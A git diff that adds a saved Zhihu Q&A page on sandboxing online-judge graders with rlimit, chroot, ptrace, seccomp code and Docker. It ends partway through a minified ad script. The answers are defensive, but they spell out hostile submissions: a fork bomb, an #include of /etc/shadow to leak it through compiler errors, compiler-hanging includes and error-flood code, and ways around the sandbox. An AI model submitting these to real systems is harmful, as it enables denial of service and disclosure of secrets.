diff --git a/README.md b/README.md index e549b8e..6b10d59 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,2 @@ -# goj +# Ghink Online Judge System Ghink Online Judge System diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216.htm" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216.htm" new file mode 100644 index 0000000..613fb74 --- /dev/null +++ "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216.htm" @@ -0,0 +1,142 @@ + + +Online Judge 是如何解决判题端安全性问题的? - 知乎

Online Judge 是如何解决判题端安全性问题的?

如何过滤恶意提交的危险代码??分析了一下hustoj的实现,貌似只是通过创建一个低磁盘读写权限的linux用户限制磁盘操作,然后用ptrace去过滤系…
关注者
1,040
被浏览
61,921

21 个回答

其实这就是在做一个沙盒,而一个可靠的沙盒不是那么简单的。我简单说一些高中时写 OJ 获得的经验,抛砖引玉。

几个错误做法:
  1. 所有的字符串过滤都是耍流氓,坑人坑自己:C语言强大的宏几乎没有绕不过的字符串过滤,而且误伤也是很常见的(我就见过小白 OIer 问为什么程序老是被判非法,结果一看里头有个变量叫做 fork )。
  2. 手 +工审计头文件,去掉某些头文件或者注释掉一些部分是辛苦且无用的:做了这样的工作之后,你就几乎再也不会想去升级编译器及头文件了,更可怕的是——这个工 +作需要你对语言、编译器、连接器有一定程度的了解,而我认为拥有足够了解的人都应该知道这是不靠谱的:就算没有头文件、没有了函数原型,调用系统调用的方 +法还是有一大把而且都不是很麻烦。

准备工作:

  1. 熟悉你的目标系统(Windows or Linux):
    1. 必须要了解这个平台下的原生系统调用 API 是怎么使用的(不然你要怎么屏蔽?),最好可以了解到汇编层面。
    2. 必须要了解这个平台下的用户系统、权限控制、资源限制。
    3. 最好要了解一下进程跟踪/调试/监控工具或者系统调用,例如 Linux 下的 ptrace 。
    4. 最好要了解目标系统提供的各种沙盒限制功能。
  2. 了解你的编程语言及工具链:
    1. 必须要了解你的目标语言的特性,及其在一般的 OI / ACM 比赛中的规定、限制。
    2. 必须要了解你的工具链的功能及各种参数。
  3. 拥有足够的编程功底,对于这样小的程序,应当严格杜绝缓冲区溢出之类的 bug 。

然后我再说说我的做法,在其中大家就可以看到上面列的这些“准备知识”是如何派上用场的。我的目标平台是 Linux ,目标语言是 Pascal 、 C 、 C++ 。


我采取了以下措施:

  1. 操作系统层面:
    1. 时间、资源的限制:
      1. 内存:我使用了 rlimit 进行控制,同时也方便在运行结束后获得内存使用情况的数据,不过有一个“缺点”就是如果是声明了一个超大的空间但从未访问使用就不会被统计进来(经过观察发现很多 ACM 或者 OI 比赛也都是这么处理的,所以应该不算是一个问题)。
      2. 时 +间:首先同样也是使用 rlimit 进行 CPU 时间控制。注意它只能控制 CPU 时间,不能控制实际运行时间,所以像是 sleep 或者 IO + 阻塞之类的情况是没有办法的,所以还在额外添加了一个 alarm 来进行实际时间的限制。按照大部分比赛的管理,最终统计的时间是 CPU 时间。
      3. 文件句柄:同样可以通过 rlimit 来实现,以保证程序不要打开太多文件。不过其实文件这一块问题是比较多的,如果可行的话最好还是使用 stdio 然后管道重定向,完全禁止程序的文件 IO 操作。
    2. 访问控制:
      1. 通过 chroot 建立一个 jail ,将程序限制在指定目录中运行。由于是比赛程序,使用的动态链接库很有限,所以直接静态编译,从而使得运行目录中连 .so 都不需要。
      2. 进行必要的权限控制,例如将输入文件和程序文件本身设置为程序的运行用户只读不可写。
    3. 权限控制:
      1. 监控程序使用 root 权限运行, 完成必要准备后 fork 并切换为受限用户(比如 nobody )来运行程序。
      2. rlimit 设置的都是 hard limit ,非 root 无法修改。
      3. 正确设置运行用户之后,之前由 root 创造的 jail 受限用户是无法逃出的。
    4. 系统调用控制:
      上 +面这些(尤其是第一步)是有很大问题,就算不是 root ,也还能做到很多事情。且不说 fork 之类的,光是那个 alarm +,就可以很轻松的把计时器取消了或者干脆主动接收这个信号。所以最根本的还是需要使用 ptrace +之类的调试器附着上程序,监控所有的系统调用,进行白名单 + 计数器(比如 exec 和 open +)过滤。这一步其实是最麻烦的(不同平台的系统调用号不一样,我们使用的是 strace 项目里头整理的调用号)。
    5. 更进一步:
      如果你对操作系统更熟悉,那么还有一些更有趣的事情可以做。比如 Linux 下的 seccomp 功能(seccomp - Wikipedia , Chrome Linux 版就在沙盒中使用了这个技术 ),尤其是后期加入了 seccomp-bpf 之后变得更加易用。还比如 SELinux 也可以作为 defend-by-depth 的一环。另外, cgroup 其实也可以用得上。
  2. 编译层面:
    1. 很多编译工具都提供了强大的参数控制,允许你进行包括禁用内嵌 ASM 、限制连接路径之类的一些操作。通读一遍 manpage 肯定会有帮助的。
    2. 算法竞赛的程序推荐静态编译,之后控制起来少了动态链接库会方便许多。
    3. 小 +心编译期间的一些“高级功能”,比如 C 的 include 其实是有很多巧妙的用法,试试看在 Linux 下 #include +"/dev/random" 或者 #include "/dev/tty" 之类的(这两个东西会把网络上不少二流 OJ 直接卡死……)。
    4. 不要使用 root 用户编译,越复杂的程序越容易有 bug ,万一哪天出个编译器的 0day ……
    5. 考虑给编译过程同样进行时间、资源限制以作为额外防护手段。
  3. 架构层面:
    1. 运行在虚拟机/容器中
    2. 快照
    3. 心跳检测

……


你 +会发现,其实主要的限制都是在操作系统层面完成的。我认为,这样做才能带来更高的安全性,因为引发、启动危险操作的方法有很多,很难一一杜绝(包括源码分 +析、编译时限制等),但最后要让这些危险操作起效几乎都需要落回系统调用上,所以直接从这里下手也许会是个更好的办法。


我对于 Windows 不了解,不知道 Windows 下该如何实现以上的类似功能,或者是否情况完全不同,欢迎大家补充。


最后是我之前写的沙盒项目,写得很丑,尤其是 ptrace 一块目前还比较坑(64位系统下好像还无法正常工作),总的来讲还只能算是一个 demo 而已:Hexcles/Eevee · GitHub

继续浏览内容
知乎
发现更大的世界
打开
浏览器
继续

转载自我的 blog OnlineJudge 沙箱实现思路 - virusdefender's blog (^-^)V

限制系统调用

目前常用的有 ptraceseccomp

ptrace 很惨

听说 ptrace 存在效率问题,可能会让你的代码运行时间增加很多,这个是可以简单测试看出来的。

而加载 seccomp 需要主动的在自己的代码中加载策略,也就是说需要修改已有的代码,但是去修改用户提交的代码是不大可能的。然后就想到了下面几个方法:

LD_PRELOAD hook

LD_PRELOAD加载动态链接库,然后在 so 中 hook __libc_start_main,然后就可以在用户的 main 函数前执行自己的代码了。但是如果在用户的代码中再定义__lbc_start_main函数就可以绕过,虽然网上有人说需要 -nostdlib 的编译参数,但是我实际测试并不需要。下面是沙箱的实现代码

#define _BSD_SOURCE // readlink
+#include <dlfcn.h>
+#include <stdlib.h> // exit
+#include <string.h> // strstr, memset
+#include <link.h>   // ElfW
+#include <errno.h>  // EPERM
+#include <unistd.h> // readlink
+#include <seccomp.h>
+#include <stdio.h>
+int syscalls_whitelist[] = {SCMP_SYS(read), SCMP_SYS(write), 
+                            SCMP_SYS(fstat), SCMP_SYS(mmap), 
+                            SCMP_SYS(mprotect), SCMP_SYS(munmap), 
+                            SCMP_SYS(brk), SCMP_SYS(access), 
+                            SCMP_SYS(exit_group)};
+typedef int (*main_t)(int, char **, char **);
+
+#ifndef __unbounded
+# define __unbounded
+#endif
+
+int __libc_start_main(main_t main, int argc, 
+    char *__unbounded *__unbounded ubp_av,
+    ElfW(auxv_t) *__unbounded auxvec,
+    __typeof (main) init,
+    void (*fini) (void),
+    void (*rtld_fini) (void), void *__unbounded
+    stack_end)
+{
+
+    int i;
+    ssize_t len;
+    void *libc;
+    int whitelist_length = sizeof(syscalls_whitelist) / sizeof(int);
+    scmp_filter_ctx ctx = NULL;
+    int (*libc_start_main)(main_t main,
+        int,
+        char *__unbounded *__unbounded,
+        ElfW(auxv_t) *,
+        __typeof (main),
+        void (*fini) (void),
+        void (*rtld_fini) (void),
+        void *__unbounded stack_end);
+
+    // Get __libc_start_main entry point
+    libc = dlopen("libc.so.6", RTLD_LOCAL  | RTLD_LAZY);
+    if (!libc) {
+        exit(1);
+    }
+
+    libc_start_main = dlsym(libc, "__libc_start_main");
+    if (!libc_start_main) {
+        exit(2);
+    }
+
+    ctx = seccomp_init(SCMP_ACT_KILL);
+    if (!ctx) {
+        exit(3);
+    }
+    for(i = 0; i < whitelist_length; i++) {
+        if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 
+                             syscalls_whitelist[i], 0)) {
+            exit(4);
+        }
+    }
+    if (seccomp_load(ctx)) {
+        exit(5);
+    }
+    seccomp_release(ctx);
+    return ((*libc_start_main)(main, argc, ubp_av, auxvec,
+                 init, fini, rtld_fini, stack_end));
+}

参考 stackoverflow.com/a/277github.com/daveho/EasyS

代码级别 hook

编译的时候将两个文件编译在一起,gcc sandbox.c user_code.c -ldl -lseccomp -o user_code,虽然说直接定义__libc_start_main函数会提示重复定义,但是部分库函数还是可以通过定义同名函数覆盖绕过,比如 seccomp 里面的函数、dlopen函数。

execve 前面加载策略

exceve 之前加载策略,就需要将 exceve 系统调用加白名单,有点不安全,但是可以在 seccomp 参数中指定 exceve 的执行参数,第一个参数就是文件路径,必须得匹配才行,否则就会 kill 掉。可以将指定的文件名加白名单。

#include <stdio.h>
+#include <unistd.h>
+#include <seccomp.h>
+
+int main() {
+  char file_name[30] = "/bin/ls";
+  char file_name1[30] = "xxxxxx";
+  char *argv[] = {"/", NULL};
+  char *env[] = {NULL};
+  printf("unrestricted\n");
+
+  // Init the filter
+  scmp_filter_ctx ctx;
+  ctx = seccomp_init(SCMP_ACT_ALLOW);
+
+  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 1,
+                        SCMP_A0(SCMP_CMP_NE, file_name));
+
+  seccomp_load(ctx);
+  execve(file_name, argv, env);
+  return 0;
+}

如果改成execve(file_name1, argv, env);,就没法执行了。

当然要注意的是,execve 第一个参数匹配是内存地址匹配,毕竟是一个指针,而不是字符串匹配。Linux 系统开启 ASLR 之后,内存地址会随机化,用户代码几乎不可能简单的在相同的地址下面再放置一个路径。但是如果 file_name 不在栈上或者是指定地址加载的,那用户代码也可能通过 mmap 来加载到同一个地址上,可以参考 Google CTF 的一道题。

seccomp 应该怎么用

文档看 man7.org/linux/man-page 就够了,可以看到 seccomp 是支持某个参数的原始数据大小比较和掩码后数据一致比较的。

对于 C/C++ 等,我们可以开放白名单,类似 execve 这种需要特殊处理。

控制写文件

我们不期望这些程序可以写任何文件。这种想法的直觉是限制 write 的第一个参数 fd 不能大于 stderr,但是实际是可绕过的,那就是 mmap。 参考 man7.org/linux/man-page

页面最下面的例子修改下然后 strace 运行就会发现只需要 open 然后 mmap 也可以写文件的。

正确的方法是限制 open,不能带写权限。open 的 man page 中说

The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR

所以这里就需要之前的掩码后比较了,其实掩码操作就是使用掩码和原数据进行与操作,SCMP_CMP(1, SCMP_CMP_MASKED_EQ, O_WRONLY | O_RDWR, 0) 就是说这两位上都是0才可以通过。

mmap 类似的是 creat 系统调用,也可以创建一个文件。

这种问题的根本解决办法是修改文件系统的用户权限。

__x32_compat 系统调用

github.com/torvalds/lin 有一些 __x32_compat 开头的系统调用,很容易忽略它们,没有加入黑名单,这些系统调用和不带 _x32_compat 的用法基本一致。

资源占用的限制

CPU 时间限制,是 setrlimit 还是 setitimer

主要是的区别是子进程能否继承限制,进程能否捕获超时错误。

setitimer 定时器计时结束时,系统就会给进程发送一个信号。

需要关心的两个计数器分别是 ITIMER_REAL 进程实际运行时间计数器,结束的时候发送 SIGALRM 信号;ITIMER_VIRTUAL 进程 CPU 时间计数器,结束的时候发送 SIGVTALRM 信号。我们设置好定时器之后,如果捕获到了对应的信号,说明当前进程运行超时。

具体实现代码如下

int set_timer(int sec, int ms, int is_cpu_time) {
+    struct itimerval time_val;
+    time_val.it_interval.tv_sec = time_val.it_interval.tv_usec = 0;
+    time_val.it_value.tv_sec = sec;
+    time_val.it_value.tv_usec = ms * 1000;
+    if (setitimer(is_cpu_time?ITIMER_VIRTUAL:ITIMER_REAL, &time_val, NULL)) {
+        LOG_FATAL("setitimer failed, errno %d", errno);
+        return SETITIMER_FAILED;
+    }
+    return SUCCESS;
+}

但是有一点是需要注意的,setitimer 不能限制子进程的 CPU 和实际运行时间

在部分只限制资源占用而不启用沙箱的场景下,这可能导致资源限制失效,因为进程可以取消这个设定。

Linux 中 setrlimit 函数可以用来限制进程的资源占用, 其中支持 RLIMIT_CPURLIMIT_AS 等参数, 同时子进程会继承父进程的设置。RLIMIT_CPU 也可以控制进程 CPU 时间, 所以要设置为 CPU 时间向上取整的值,然后和最后获取的时间再比较。

限制内存和最大输出大小

RLIMIT_AS 是限制进程最大内存地址空间,超过这个地址空间的将不能 分配成功,影响 brkmmapmremap 等系统调用。 RLIMIT_FSIZE 是限制进程最大输出或者写文件的大小,估计是限制了 write 等。

实际运行时间

这个也很重要,如果一个进程啥都不做只 sleep 的话,CPU 时间几乎不会超,这里我的方案是新开一个线程一直监视某个 PID,超时就 kill 掉。

RLIMIT_NPROC 有点坑

很多人都知道 while(1) fork() 可以卡死机器,怎么防?尤其是 go 这类这种天生就要开线程的语言。

+ The maximum number of processes (or, more precisely on Linux, threads) +that can be created for the real user ID of the calling process. Upon +encountering this limit, fork(2) fails with the error EAGAIN

如果简单的使用 nproc 限制是不可以的,原因是 real user ID 这个其实不仅仅是进程的,和用户也有关。一个用户已经有10个进程了,那你给进程设置 nproc=10 是没用的,因为已经满了,而设置更低的数字可能导致进程无法启动。

也许给每个进程都设置一个单独的用户可破?没有试

还有哪里容易出现问题

编译器安全

这是一个容易被忽视的方面,目前已知的主要有以下几种。

  • 引用某些可以无限输出的文件,比如 #include</dev/random>,编译器会一直读取, 导致卡死
  • 让编译器产生大量的错误信息,比如下面一段代码,可以让 g++ 编译器产生数 G 的错误日志
int main() {
+    struct x struct z<x(x(x(x(x(x(x(x(x(x(x(x(x(x(x(y,x(y><y*,x(y*w>v<y*,w,x{}
+    return 0; 
+}

处理方法就是编译器运行的时候也要控制 CPU 时间和实际运行时间还有最大输出,同时使用编译器参数 -fmax-errors=N 来控制最大错误数量

  • C++ 的模板元编程,部分代码是编译期执行的,可以构造出让编译器产生大量计算的代码。类似的有 Python 的编译器常量优化等等。
  • 引用一些敏感文件可能导致信息泄露,比如 #include</etc/shadow/> 或者测试用例等,会在编译错误的信息中泄露文件开头的内容。需要给编译器和运行代码设置单独的用户。

上面说的基础环境其实都在 Docker 里面

Docker 默认会屏蔽一些系统调用和 capability,所以上面的很多方案都是基于这个前提的,否则需要自己处理 Docker 默认屏蔽的系统调用调用黑名单和降权。

开源 github.com/QingdaoU/Jud

参考

再加个广告,我们开发的 OnlineJudge 系统 QingdaoU/OnlineJudge: Open source online judge based on Python, Django and Docker. 也开源了,欢迎给个 star。

继续浏览内容
知乎
发现更大的世界
打开
浏览器
继续
之前写过一个这样的系统,09年的时候,那时候也是同样遇到这些问题,思路类似,构建一个sandbox,filter syscall。 Online Compiler!


1. Then Google Native Client
后来遇见了chrome,在看其native client的实现,其实就是OJ后台的一套sandbox系统。
核心部分,构建的2套sandbox

• inner sandbox: binary validation
• outer sandbox: OS system-call interception



--> inner sandbox
Protection Rule For Inner Sandbox
--> outer sandbox
Based on systrace.

Reference:
static.googleusercontent.com
citi.umich.edu/u/provos


2. ZeroVM
zerovm/zerovm · GitHub

APP Sandbo领域新出生的创业公司,核心思路如下
ZeroVM creates a sandbox around a single process,
using technology based on Google Native Client + (NaCl). The sandbox ensures that the application executed cannot access + data in the host operating system, so it is safe to execute untrusted +code.

所以,如果不想自己造轮子,可以用ZeroVM。过几天,把我那个系统试试移到ZeroVM上~~

3. Qubes OS
看下architecture 感受下,
著名的波兰美女黑客Joanna Rutkowska设计的,基于Xen、X和Linux的新开源操作。
它充分利用了虚拟化技术(基于安全虚拟机Xen),所有用户应用程序都运行在AppVM(基于Linux的轻量级虚 拟机)中,彼此隔离。
也能利用,但是用来跑OJ可能有点大材小用了。



欢迎讨论~
继续浏览内容
知乎
发现更大的世界
打开
浏览器
继续

给ZOJ写过Patch的来回答一下。

ZOJ的沙箱是ptrace。但是ptrace的规则是硬写进去的,规则写的也比较复杂。比如:我记得当时glibc升级之后,由于某些安全功能(貌似是pointer guard?),需要在程序启动的时候读取/dev/urandom。

沙箱的内存控制是简单的setrlimit。

ptrace倒是并不慢,因为OJ的题目大部分很少频繁的调用system call。如果很频繁,那恐怕那个程序本身就是攻击的恶意程序。

前 +面说用语言环境运行时而非动态沙箱的解决方法,我觉得做起来难度比较大。我对JIT +Spraying攻击不了解,但是个人感觉语言运行时的JIT是一个很大的attack +surface。而且还有,OJ里用Java和C#的比较少,部分原因是IO库比较慢,而且有些OJ问题对性能要求实在是太高了,OJ提交者往往喜欢对一 +切过程都有控制。

如果说其他的选择,我会觉得虚拟化是个很好的选择。唯一的attack surface就是虚拟机和硬件本身
继续浏览内容
知乎
发现更大的世界
打开
浏览器
继续

曾经在我们学校里做过online judge,用的好像是POJ当时的一个demo,在Windows上弄的。

当时做法也没考虑太多,先是建立一个guest账户,用guest账户运行代码,所有权限全限制在某一个盘里,大不了就废了一个盘,也无所谓。

反对匿名用户说的不危险,实际上OJ这种东西太危险了,允许上传+执行权限,危险特别大。

把网页部分和代码分开,我忘记当时我们是用一个账户还是两个账户,反正网页的路径是一个很古怪的路径,这样入侵者也不太好在页面上挂马,我记得页面好像是PHP或者JSP之类的。

在编译器和连接器上做了点手脚,一共有几层防御:

第一层是把标准库里的头文件先都注释掉,包括文件操作、还有system、网络操作等等,对于一般的菜鸟就足够了,大多数菜鸟没了头文件都不知道该怎么办。

第二层是彻底干掉C++,我记得当时我们用的是MinGW,直接不安装G++组件,因为G++的库太复杂了,像cin/cout这些不好控制

第三层是修改链接库,当时在大学时候技术也很一般,我记得方法很糙,就是找到lib文件,用winhex之类的工具打开,找到fopen这些直接把所有敏感的字符串全换掉。实际上允许用的就string库和stdlib这些,这样连接器也找不到符号。

这样下来入侵者要是想通过标准库的话基本就很困难了。

在上传页面上也要做限制,比如,禁用汇编内联,直接通过过滤字符串asm实现,必要的时候做一个WindowsAPI的过滤表,在上传代码的时候就过滤掉所有WindowsAPI,但这个很困难,因为代码里可以不用字符串。

这样折腾下来,基本上把主要的入口都封死了。然后关键的一步:服务器网卡上关掉所有的端口,仅限于某几个端口开放(80/8080之类的)。

但是现在想想,并不是特别的安全,比如上传代码如果自己实现一套LoadLibrary然后直接调用WindowsAPI的话,还是可以入侵的。

至于说限制运行时间的,这个太困难了,1秒钟够执行很多指令了,没意义。

更稳妥的方法是限制注册,但这已经不是技术范畴了。

我能记得的就这些了。
继续浏览内容
知乎
发现更大的世界
打开
浏览器
继续
想来知乎工作?请发送邮件到 jobs@zhihu.com
\ No newline at end of file diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/2b4336ec5_l.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/2b4336ec5_l.jpg" new file mode 100644 index 0000000..57e47db Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/2b4336ec5_l.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/2b4336ec5_xs.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/2b4336ec5_xs.jpg" new file mode 100644 index 0000000..a4ac327 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/2b4336ec5_xs.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a10724048_l.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a10724048_l.jpg" new file mode 100644 index 0000000..3d5d323 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a10724048_l.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a10724048_xs.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a10724048_xs.jpg" new file mode 100644 index 0000000..3d5d323 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a10724048_xs.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a277ac6ae_l.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a277ac6ae_l.jpg" new file mode 100644 index 0000000..7208cc0 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a277ac6ae_l.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a277ac6ae_xs.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a277ac6ae_xs.jpg" new file mode 100644 index 0000000..7208cc0 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/a277ac6ae_xs.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/aadd7b895_l.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/aadd7b895_l.jpg" new file mode 100644 index 0000000..22fb860 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/aadd7b895_l.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/aadd7b895_xs.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/aadd7b895_xs.jpg" new file mode 100644 index 0000000..d2aae8a Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/aadd7b895_xs.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/auto_dup" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/auto_dup" new file mode 100644 index 0000000..c861151 --- /dev/null +++ "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/auto_dup" @@ -0,0 +1 @@ +___baidu_union_callback("auto","83a2a5e3294b78efb0e4221c78b7538b",[],"","") \ No newline at end of file diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/cm.js" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/cm.js" new file mode 100644 index 0000000..fc97f34 --- /dev/null +++ "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/cm.js" @@ -0,0 +1 @@ +!function(i){var e={};function r(t){if(e[t])return e[t].exports;var n=e[t]={i:t,l:!1,exports:{}};return i[t].call(n.exports,n,n.exports,r),n.l=!0,n.exports}r.m=i,r.c=e,r.d=function(t,n,i){r.o(t,n)||Object.defineProperty(t,n,{enumerable:!0,get:i})},r.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},r.t=function(n,t){if(1&t&&(n=r(n)),8&t)return n;if(4&t&&"object"==typeof n&&n&&n.__esModule)return n;var i=Object.create(null);if(r.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:n}),2&t&&"string"!=typeof n)for(var e in n)r.d(i,e,function(t){return n[t]}.bind(null,e));return i},r.n=function(t){var n=t&&t.__esModule?function(){return t["default"]}:function(){return t};return r.d(n,"a",n),n},r.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},r.p="",r(r.s=27)}([function(t,n){t.exports={e:Object.prototype.hasOwnProperty,a:function(t,n){for(var i=t,e=n.split(".");e.length;){if(i===undefined||null===i)return undefined;i=i[e.shift()]}return i},u:function(t){if("object"!=typeof t)return"";var n=[];for(var i in t)this.e.call(t,i)&&n.push(i+"="+encodeURIComponent(t[i]));return n.join("&")},f:function(t){for(var n in t)return!1;return!0},h:function(t,i){return t.replace(/{(\w*?)}/g,function(t,n){return i[n]===undefined?"":i[n]})},v:function(t){var n={'"':""",">":">","<":"<","&":"&"};return t.replace(/["<>&]/g,function(t){return n[t]})},_:function(t,r){var o=this;return t.replace(/\{(\w+):(\w+)\}/g,function(t,n,i){var e=r[n];switch(i){case"number":e=+e||0;break;case"boolean":e=!!e;break;case"html":e=o.v(e)}return e})},w:function(t){var n="";return window.JSON&&window.JSON.parse&&(n=window.JSON.parse(t)),n},y:function(t){var n="";try{n=window.JSON&&window.JSON.stringify?window.JSON.stringify(t):window.eval(t)}catch(i){}return n},b:function(t){return 